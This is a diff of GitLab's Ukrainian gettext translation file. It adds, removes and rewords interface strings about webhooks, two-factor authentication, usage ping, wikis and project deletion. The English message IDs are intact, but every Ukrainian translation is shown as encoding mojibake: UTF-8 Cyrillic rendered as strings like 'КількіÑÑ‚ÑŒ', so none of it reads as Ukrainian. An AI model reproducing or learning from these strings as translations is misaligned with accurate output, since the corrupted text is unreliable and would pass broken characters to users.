msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr "КількіÑÑ‚ÑŒ змін, Ñка буде отримуватиÑÑ Ñ–Ð· Ñерверу GitLab при клонуванні репозиторію. Це може приÑкорити Ð²Ð¸ÐºÐ¾Ð½Ð°Ð½Ð½Ñ ÐºÐ¾Ð½Ð²ÐµÑ”Ñ€Ñ–Ð². Залиште порожнім, або вÑтановіть 0 Ð´Ð»Ñ Ð²Ð¸Ð¼ÐºÐ½ÐµÐ½Ð½Ñ Ñ‡Ð°Ñткового (shallow) ÐºÐ»Ð¾Ð½ÑƒÐ²Ð°Ð½Ð½Ñ Ð·Ð° замовчуваннÑм, змуÑивши GitLab CI отримувати вÑÑ– гілки Ñ– теги кожного разу."
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr "КількіÑÑ‚ÑŒ разів, коли Ð·Ð°Ð¿Ð¸Ñ Ð·Ð°Ð²Ð°Ð½Ñ‚Ð°Ð¶ÐµÐ½Ð½Ñ Ð½Ðµ зміг знайти Ñвій файл"
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24413,6 +25087,9 @@ msgstr "ДоÑтуп до проекту Ñ” в будь-кого, незалеж
msgid "The project can be accessed without any authentication."
msgstr "ДоÑтуп до проекту можливий без будь-Ñкої перевірки автентичноÑÑ‚Ñ–."
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr "Цей проект доÑтупний тільки Ð´Ð»Ñ Ð¹Ð¾Ð³Ð¾ учаÑників. ДоÑтуп може бути надано тільки безпоÑередньо кожному кориÑтувачу."
@@ -24530,6 +25207,9 @@ msgstr "ВразливіÑÑ‚ÑŒ більше не виÑвлÑєтьÑÑ. ПерÐ
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24552,7 +25232,7 @@ msgid "There are no archived requirements"
msgstr "Ðемає жодних архівних вимог"
msgid "There are no changes"
-msgstr ""
+msgstr "Зміни відÑутні"
msgid "There are no charts configured for this page"
msgstr "Ð”Ð»Ñ Ñ†Ñ–Ñ”Ñ— Ñторінки не налаштовано графіків"
@@ -24605,12 +25285,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr "Ðа диÑку вже Ñ–Ñнує репозиторій за таким ім’Ñм"
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr "Даних немає. Будь лаÑка, змініть Ñвій вибір."
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24623,6 +25306,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24773,19 +25459,19 @@ msgstr "Помилка при підпиÑці на цю мітку."
msgid "There was an error when unsubscribing from this label."
msgstr "Помилка при відпиÑці від цієї мітки."
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24809,6 +25495,9 @@ msgstr "Сторонні пропозиції"
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr "Ð¦Ñ %{issuableDisplayName} заблокована. Лише учаÑники проекту можуть коментувати."
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24839,7 +25528,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr "Ð¦Ñ Ð´Ñ–Ñ Ð¼Ð¾Ð¶Ðµ призвеÑти до втрати даних. Щоб уникнути випадкових дій, проÑимо Ð²Ð°Ñ Ð¿Ñ–Ð´Ñ‚Ð²ÐµÑ€Ð´Ð¸Ñ‚Ð¸ Ñвій намір."
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -25013,9 +25702,6 @@ msgstr ""
msgid "This is your current session"
msgstr "Це ваш поточний ÑеанÑ"
-msgid "This issue is confidential"
-msgstr "Ð¦Ñ Ð·Ð°Ð´Ð°Ñ‡Ð° Ñ” конфіденційною"
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -25178,15 +25864,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr "Ð”Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ проекту немає домашньої Ñторінки вікі"
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr "Ð”Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ проекту вимкнено білінг. Щоб Ñтворити клаÑтер, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">увімкніть білінг <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> Ñ– Ñпробуйте знову."
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr "Цей проект заархівовано і його не можна коментувати."
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -25247,6 +25933,9 @@ msgstr "Цей кориÑтувач буде автором вÑÑ–Ñ… подій
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25624,9 +26313,6 @@ msgstr "Ð”Ð»Ñ Ð¿Ñ€Ð¸Ñ”Ð´Ð½Ð°Ð½Ð½Ñ SVN-репозиторію, переглÑн
msgid "To define internal users, first enable new users set to external"
msgstr "Ð”Ð»Ñ Ð²Ð¸Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ Ð²Ð½ÑƒÑ‚Ñ€Ñ–ÑˆÐ½Ñ–Ñ… кориÑтувачів, Ñпочатку вÑтановіть Ð´Ð»Ñ Ð½Ð¾Ð²Ð¸Ñ… кориÑтувачів \"зовнішній по замовчанню\""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr "Щоб увімкнути це Ñ– побачити Когорти КориÑтувачів, перейдіть в %{application_settings_link_start}Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ Ð·Ð°ÑтоÑунку%{application_settings_link_end}."
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25711,9 +26397,15 @@ msgstr "Щоб почати ваші Ð·Ð°Ð²Ð´Ð°Ð½Ð½Ñ Ð²Ð¸ÐºÐ¾Ð½ÑƒÐ²Ð°Ð»Ð¸ÑÑ,
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr "Ð”Ð»Ñ Ð¿ÐµÑ€ÐµÐ³Ð»Ñду плану-графіку, додайте дату початку чи Ð·Ð°ÐºÑ–Ð½Ñ‡ÐµÐ½Ð½Ñ Ð´Ð¾ одного з ваших епіків в цій групі або Ñ—Ñ— підгрупах. При поміÑÑчному переглÑді показуютьÑÑ Ñ‚Ñ–Ð»ÑŒÐºÐ¸ епіки за попередній, поточний, та наÑтупні 5 міÑÑців."
@@ -25735,9 +26427,6 @@ msgstr "ÐÐ°Ð³Ð°Ð´ÑƒÐ²Ð°Ð½Ð½Ñ ÑƒÑпішно позначене Ñк викон
msgid "Today"
msgstr "Сьогодні"
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr "Увімкнути чи вимкнути попередній переглÑд Markdown"
@@ -25798,6 +26487,9 @@ msgstr "Увімкнено/вимкнено :%{name}: Ñмайлик-винагÐ
msgid "Toggles :%{name}: emoji award."
msgstr "Вмикає/вимикає %{name} Ñмайлик-нагороду."
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr "Завтра"
@@ -25942,6 +26634,9 @@ msgstr "Тригер"
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr "ЗапуÑкати конвеєри Ð´Ð»Ñ Ð²Ñ–Ð´Ð´Ð·ÐµÑ€ÐºÐ°Ð»ÐµÐ½Ð¸Ñ… змін"
@@ -26011,9 +26706,18 @@ msgstr "Вимкнути"
msgid "Turn On"
msgstr "Увімкнути"
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr "Ввімкнути Service Desk"
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr "Twitter"
@@ -26029,12 +26733,24 @@ msgstr "Двофакторна автентифікаціÑ"
msgid "Two-factor Authentication Recovery codes"
msgstr "Коди Ð²Ñ–Ð´Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð´Ð²Ð¾Ñ„Ð°ÐºÑ‚Ð¾Ñ€Ð½Ð° автентифікації"
-msgid "Two-factor Authentication has been disabled for this user"
-msgstr "Двофакторну автентифікацію було вимкнено Ð´Ð»Ñ Ñ†ÑŒÐ¾Ð³Ð¾ кориÑтувача"
-
msgid "Two-factor authentication"
msgstr "Двофакторна автентифікаціÑ"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
+msgstr ""
+
msgid "Type"
msgstr "Тип"
@@ -26215,8 +26931,8 @@ msgstr "Розблокувати"
msgid "Unlock the discussion"
msgstr "Розблокувати обговореннÑ"
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
-msgstr "Розблокувати %{issuableDisplayName}? <strong>Будь-хто</strong> зможе залишати коментарі."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
+msgstr ""
msgid "Unlocked"
msgstr "Розблоковано"
@@ -26305,6 +27021,9 @@ msgstr ""
msgid "Until"
msgstr "До"
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr "Ðепідтверджено"
@@ -26386,9 +27105,6 @@ msgstr "Оновлено"
msgid "Updated %{updated_at} by %{updated_by}"
msgstr "Оновлено %{updated_at} %{updated_by}"
-msgid "Updated at"
-msgstr "Оновлено"
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26404,8 +27120,8 @@ msgstr "Перейдіть на вищий тарифний план, щоб оÑ
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
-msgstr "Перейдіть на вищий тарифний план щоб активувати Покращений Глобальний Пошук."
+msgid "Upgrade your plan to activate Advanced Search."
+msgstr ""
msgid "Upgrade your plan to activate Audit Events."
msgstr "Оновіть Ñвій план Ð´Ð»Ñ Ð°ÐºÑ‚Ð¸Ð²Ð°Ñ†Ñ–Ñ— подій аудиту."
@@ -26479,8 +27195,8 @@ msgstr "Лайки"
msgid "Usage"
msgstr "ВикориÑтано"
-msgid "Usage ping is not enabled"
-msgstr "Збір даних про викориÑÑ‚Ð°Ð½Ð½Ñ Ð²Ð¸Ð¼ÐºÐ½ÐµÐ½Ð¾"
+msgid "Usage ping is off"
+msgstr ""
msgid "Usage statistics"
msgstr "СтатиÑтика викориÑтаннÑ"
@@ -26569,9 +27285,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr "ВикориÑтовуйте %{code_start}::%{code_end} Ð´Ð»Ñ ÑÑ‚Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ %{link_start}набору Ñелективних міток%{link_end} (напр. %{code_start}priority::1%{code_end})"
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr "ВикориÑтовуйте Service Desk Ð´Ð»Ñ Ð·Ð²â€™Ñзку з вашими кориÑтувачами (наприклад, щоб запропонувати клієнтÑьку підтримку) через електронну пошту безпоÑередньо із GitLab"
@@ -26623,9 +27336,6 @@ msgstr "КориÑтувач %{current_user_username} розпочав імітÑ
msgid "User %{username} was successfully removed."
msgstr "КориÑтувача %{username} уÑпішно видалено."
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr "Когорти КориÑтувачів показуютьÑÑ Ð»Ð¸ÑˆÐµ тоді, коли увімкнено %{usage_ping_link_start}збір даних про викориÑтаннÑ%{usage_ping_link_end}."
-
msgid "User IDs"
msgstr ""
@@ -26726,7 +27436,7 @@ msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
-msgstr ""
+msgstr "Ðемає кориÑтувачів"
msgid "UserLists|User ID"
msgstr ""
@@ -26869,9 +27579,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr "КориÑтувачі, Ñкі запитують доÑтуп до"
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr "КориÑтувачів уÑпішно додано."
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr "КориÑтувачі із роллю ГіÑÑ‚ÑŒ або Ñ‚Ñ–, що не належать до жодного проекту або групи не враховуютьÑÑ Ð¿Ñ€Ð¸ підрахунку міÑць."
@@ -26905,6 +27621,9 @@ msgstr ""
msgid "Validate"
msgstr "Перевірити"
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr "Перевірити ваш файл конфігурації Gitlab CI"
@@ -26941,6 +27660,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr "Змінна"
@@ -26983,6 +27705,12 @@ msgstr "Перевірити конфігурацію"
msgid "Version"
msgstr "ВерÑÑ–Ñ"
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr "ПереглÑнути документацію"
@@ -27189,6 +27917,9 @@ msgstr "ВразливоÑÑ‚Ñ–"
msgid "Vulnerabilities over time"
msgstr "ВразливоÑÑ‚Ñ– в чаÑÑ–"
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr "ВразливіÑÑ‚ÑŒ виправлено. ПереглÑньте перед вирішеннÑм."
@@ -27252,9 +27983,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr "ЩоÑÑŒ пішло не так, не вдалоÑÑ Ñтворити задачу."
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr "ЩоÑÑŒ пішло не так, не вдалоÑÑ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ñ‚Ð¸ кориÑтувача."
@@ -27396,7 +28124,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr "Ми надіÑлали вам Ð¿Ð¾Ð²Ñ–Ð´Ð¾Ð¼Ð»ÐµÐ½Ð½Ñ Ð¿Ð¾ електронній пошті з інÑтрукціÑми по відновленню паролю"
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27441,6 +28169,90 @@ msgstr "Веб-хук дозволÑÑ” вам викликати URL Ñкщо, Ð
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
+msgid "Webhooks|Pipeline events"
+msgstr ""
+
+msgid "Webhooks|Push events"
+msgstr ""
+
+msgid "Webhooks|SSL verification"
+msgstr ""
+
+msgid "Webhooks|Secret Token"
+msgstr ""
+
+msgid "Webhooks|Tag push events"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered by a push to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a confidential issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a deployment is finished/failed/canceled"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a merge request is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a new tag is pushed to the repository"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when a wiki page is created/updated"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when an issue is created/updated/merged"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when someone adds a comment on a confidential issue"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the job status changes"
+msgstr ""
+
+msgid "Webhooks|This URL will be triggered when the pipeline status changes"
+msgstr ""
+
+msgid "Webhooks|Trigger"
+msgstr ""
+
+msgid "Webhooks|URL"
+msgstr ""
+
+msgid "Webhooks|Use this token to validate received payloads. It will be sent with the request in the X-Gitlab-Token HTTP header."
+msgstr ""
+
+msgid "Webhooks|Wiki Page events"
+msgstr ""
+
msgid "Wednesday"
msgstr "Середа"
@@ -27462,21 +28274,21 @@ msgstr "З поверненнÑм! Ваш обліковий Ð·Ð°Ð¿Ð¸Ñ Ð±ÑƒÐ»Ð¾
msgid "Welcome to GitLab"
msgstr "ЛаÑкаво проÑимо до GitLab"
-msgid "Welcome to GitLab %{name}!"
-msgstr "ЛаÑкаво проÑимо до GitLab %{name}!"
+msgid "Welcome to GitLab%{br_tag}%{name}!"
+msgstr ""
msgid "Welcome to GitLab, %{first_name}!"
msgstr "ЛаÑкаво проÑимо до GitLab, %{first_name}!"
-msgid "Welcome to GitLab.com%{br_tag}@%{name}!"
-msgstr ""
-
msgid "Welcome to the guided GitLab tour"
msgstr ""
msgid "Welcome to your Issue Board!"
msgstr "ЛаÑкаво проÑимо до дошки Ð¾Ð±Ð³Ð¾Ð²Ð¾Ñ€ÐµÐ½Ð½Ñ Ð·Ð°Ð´Ð°Ñ‡!"
+msgid "Welcome to your issue board!"
+msgstr ""
+
msgid "We’ve been making changes to %{featureName} and we’d love your feedback %{linkStart}in this issue%{linkEnd} to help us improve the experience."
msgstr ""
@@ -27486,6 +28298,9 @@ msgstr "Що ви шукаєте?"
msgid "What describes you best?"
msgstr ""
+msgid "What's new at GitLab"
+msgstr ""
+
msgid "What’s your experience level?"
msgstr ""
@@ -27587,7 +28402,7 @@ msgid "WikiEmpty|A wiki is where you can store all the details about your projec
msgstr "Вікі дозволÑÑ” зберігати інформацію про ваш проект. Ðаприклад причину ÑтвореннÑ, принципи, Ñк його викориÑтовувати Ñ– Ñ‚. д."
msgid "WikiEmpty|Confluence is enabled"
-msgstr ""
+msgstr "Confluence увімкнено"
msgid "WikiEmpty|Create your first page"
msgstr "Створіть вашу першу Ñторінку"
@@ -27596,7 +28411,7 @@ msgid "WikiEmpty|Enable the Confluence Wiki integration"
msgstr ""
msgid "WikiEmpty|Go to Confluence"
-msgstr ""
+msgstr "Перейти до Confluence"
msgid "WikiEmpty|Suggest wiki improvement"
msgstr "Запропонувати Ð¿Ð¾ÐºÑ€Ð°Ñ‰ÐµÐ½Ð½Ñ Ð²Ñ–ÐºÑ–"
@@ -27608,13 +28423,13 @@ msgid "WikiEmpty|The wiki lets you write documentation for your project"
msgstr "Вікі дозволÑÑŽÑ‚ÑŒ пиÑати документацію Ð´Ð»Ñ Ð²Ð°ÑˆÐ¾Ð³Ð¾ проекту"
msgid "WikiEmpty|This group has no wiki pages"
-msgstr ""
+msgstr "Ð’ цій групі немає Ñторінок вікі"
msgid "WikiEmpty|This project has no wiki pages"
msgstr "Цей проєкт не має вікі Ñторінок"
msgid "WikiEmpty|You must be a group member in order to add wiki pages."
-msgstr ""
+msgstr "Ви повинні бути учаÑником групи Ð´Ð»Ñ Ñ‚Ð¾Ð³Ð¾, щоб додавати вікі-Ñторінки."
msgid "WikiEmpty|You must be a project member in order to add wiki pages."
msgstr "Ви повинні бути учаÑником проекту Ð´Ð»Ñ Ñ‚Ð¾Ð³Ð¾, щоб додавати вікі Ñторінки."
@@ -27671,7 +28486,7 @@ msgid "WikiPage|Write your content or drag files here…"
msgstr "Ðапишіть текÑÑ‚ або перетÑгніть файли Ñюди…"
msgid "Wikis"
-msgstr ""
+msgstr "Вікі"
msgid "Wiki|Create New Page"
msgstr "Створити нову Ñторінку"
@@ -27704,7 +28519,7 @@ msgid "Wiki|Title"
msgstr "Заголовок"
msgid "Wiki|View All Pages"
-msgstr ""
+msgstr "ПереглÑнути вÑÑ– Ñторінки"
msgid "Wiki|Wiki Pages"
msgstr "Вікі-Ñторінки"
@@ -27805,11 +28620,11 @@ msgstr "Ви намагаєтеÑÑ Ð¾Ð½Ð¾Ð²Ð¸Ñ‚Ð¸ файл, Ñкий було Ð
msgid "You are connected to the Prometheus server, but there is currently no data to display."
msgstr "Ви підключені до Ñервера Prometheus, але в даний Ñ‡Ð°Ñ Ð½ÐµÐ¼Ð°Ñ” даних Ð´Ð»Ñ Ð²Ñ–Ð´Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð½Ñ."
-msgid "You are going to remove %{group_name}, this will also remove all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
-msgstr "Ви збираєтеÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ %{group_name}, це також видалить уÑÑ– Ñ—Ñ— підгрупи та проекти. Видалені групи ÐЕ МОЖУТЬ бути відновлені! Ви ÐБСОЛЮТÐО впевнені?"
+msgid "You are going to delete %{project_full_name}. Deleted projects CANNOT be restored! Are you ABSOLUTELY sure?"
+msgstr ""
-msgid "You are going to remove %{project_full_name}. Removed project CANNOT be restored! Are you ABSOLUTELY sure?"
-msgstr "Ви хочете видалити %{project_full_name}. Видалений проект ÐЕ МОЖЕ бути відновлений! Ви ÐБСОЛЮТÐО впевнені?"
+msgid "You are going to remove %{group_name}, this will also delete all of its subgroups and projects. Removed groups CANNOT be restored! Are you ABSOLUTELY sure?"
+msgstr ""
msgid "You are going to remove the fork relationship from %{project_full_name}. Are you ABSOLUTELY sure?"
msgstr ""
@@ -27817,6 +28632,12 @@ msgstr ""
msgid "You are going to transfer %{project_full_name} to another owner. Are you ABSOLUTELY sure?"
msgstr "Ви збираєтеÑÑ Ð¿ÐµÑ€ÐµÐ´Ð°Ñ‚Ð¸ проект %{project_full_name} іншому влаÑнику. Ви ÐБСОЛЮТÐО впевнені?"
+msgid "You are going to turn off the confidentiality. This means %{strongStart}everyone%{strongEnd} will be able to see and leave a comment on this %{issuableType}."
+msgstr ""
+
+msgid "You are going to turn on the confidentiality. This means that only team members with %{strongStart}at least Reporter access%{strongEnd} are able to see and leave comments on the %{issuableType}."
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -27826,6 +28647,9 @@ msgstr "Вам не дозволÑєтьÑÑ Ð²Ñ–Ð´Ð²â€™Ñзувати Ñвій
msgid "You are not authorized to perform this action"
msgstr "У Ð²Ð°Ñ Ð½ÐµÐ¼Ð°Ñ” повноважень на Ð²Ð¸ÐºÐ¾Ð½Ð°Ð½Ð½Ñ Ð´Ð°Ð½Ð¾Ñ— дії"
+msgid "You are not authorized to update this scanner profile"
+msgstr ""
+
msgid "You are now impersonating %{username}"
msgstr "Зараз ви імітуєте %{username}"
@@ -27862,9 +28686,6 @@ msgstr "Ви також можете протеÑтувати ваш %{gitlab_ci
msgid "You can also upload existing files from your computer using the instructions below."
msgstr "Також ви можете завантажувати файли з вашого комп'ютера за допомогою нижченаведених інÑтрукцій."
-msgid "You can also use project access tokens to authenticate against Git over HTTP."
-msgstr ""
-
msgid "You can always edit this later"
msgstr "Ви завжди можете відредагувати це пізніше"
@@ -27898,14 +28719,14 @@ msgstr ""
msgid "You can get started by cloning the repository or start adding files to it with one of the following options."
msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong> or invite another group."
-msgstr "Ви можете запроÑити нового учаÑника до <strong>%{project_name}</strong> або запроÑити іншу групу."
+msgid "You can invite a new member to %{project_name} or invite another group."
+msgstr ""
-msgid "You can invite a new member to <strong>%{project_name}</strong>."
-msgstr "Ви можете запроÑити нового учаÑника до <strong>%{project_name}</strong>."
+msgid "You can invite a new member to %{project_name}."
+msgstr ""
-msgid "You can invite another group to <strong>%{project_name}</strong>."
-msgstr "Ви можете запроÑити нову групу до <strong>%{project_name}</strong>."
+msgid "You can invite another group to %{project_name}."
+msgstr ""
msgid "You can move around the graph by using the arrow keys."
msgstr "Ви можете переÑуватиÑÑ Ð¿Ð¾ графу за допомогою клавіш зі Ñтрілками."
@@ -27988,10 +28809,10 @@ msgstr "Ви не можете запиÑувати на цей \"тільки Ð
msgid "You could not create a new trigger."
msgstr "Ви не змогли Ñтворити новий тригер."
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
+msgid "You didn't renew your subscription for %{strong}%{namespace_name}%{strong_close} so it was downgraded to the free plan."
msgstr ""
-msgid "You didn't renew your %{strong}%{plan_name}%{strong_close} subscription so it was downgraded to the GitLab Core Plan."
+msgid "You didn't renew your subscription so it was downgraded to the GitLab Core Plan."
msgstr ""
msgid "You do not have an active license"
@@ -28204,6 +29025,9 @@ msgstr "Ви не зможете відправлÑти та отримуватÐ
msgid "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
msgstr "Ви не зможете відправлÑти та отримувати код проекту через SSH, поки не додаÑте в Ñвій профіль SSH ключ"
+msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quartely or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "You'll be signed out from your current account automatically."
msgstr "Ви автоматично вийдете з поточного облікового запиÑу."
@@ -28244,7 +29068,7 @@ msgid "You're receiving this email because of your activity on %{host}."
msgstr "Ви отримали цей електронний лиÑÑ‚ через Ñвою активніÑÑ‚ÑŒ на %{host}."
msgid "You're receiving this email because you have been assigned an item on %{host}."
-msgstr ""
+msgstr "Ви отримали цей лиÑÑ‚, тому що Ð²Ð°Ñ Ð¿Ñ€Ð¸Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¾ елемент на %{host}."
msgid "You're receiving this email because you have been mentioned on %{host}."
msgstr "Ви отримали цей електронний лиÑÑ‚ через те, що Ð²Ð°Ñ Ð·Ð³Ð°Ð´Ð°Ð»Ð¸ на %{host}."
